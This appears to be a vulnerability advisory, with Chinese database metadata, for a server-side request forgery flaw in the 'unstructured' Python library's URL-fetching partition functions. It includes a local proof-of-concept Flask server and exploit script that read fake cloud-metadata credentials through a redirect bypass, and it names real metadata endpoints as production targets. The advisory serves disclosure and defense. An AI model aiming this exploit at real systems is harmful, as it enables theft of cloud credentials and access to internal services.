OSV 1.4.0 · github-reviewed · 修改于 2026-09-04 01:02
发布时间
2026-09-04 01:02
GitHub 审查时间
2026-09-04 01:02
NVD 发布时间
2026-08-21 01:19
源文件
advisories/github-reviewed/2026/09/GHSA-4mvj-m6j5-pmf7/GHSA-4mvj-m6j5-pmf7.json
Server-Side Request Forgery in unstructured. The url= argument of partition(), partition_html(), and partition_md() is fetched via requests.get() with no host validation. The response body is returned as Element text, so this is a full-read SSRF — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response.
unstructured is the de facto URL ingestion layer for LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.
Three sinks, all in unstructured == 0.22.26 (verified on main at 199f255):
unstructured/partition/auto.py:303 — file_and_type_from_url(), reached via partition(url=…).unstructured/partition/html/partition.py:160 — partition_html(url=…). Post-fetch Content-Type check runs after the request hits the target.unstructured/partition/md.py:96 — partition_md(url=…). No timeout (SSRF + slow-loris DoS).None of is_private, is_loopback, ipaddress, gethostbyname, or allow_redirects appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (allow_redirects=True default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since 0.4.7 (Feb 2023) — ~219 releases, no validation ever introduced.
Local-only. pip install unstructured==0.22.26 flask requests.
internal_server.py:
from flask import Flask, Response, jsonify
app = Flask(__name__)
@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})
@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")
@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})
if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)
exploit.py — uses the public top-level API:
# Stub NLP helpers so the offline sandbox skips spaCy model download.
# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag = _tt.pos_tag = lambda t: [(w, "NN") for w in (t or "").split()]
from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"
# A: partition(url=...) leaks internal HTML body
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")
In production the attacker substitutes 169.254.169.254, metadata.google.internal, or any internal address.
Attacker capabilities:
metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a PUT for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.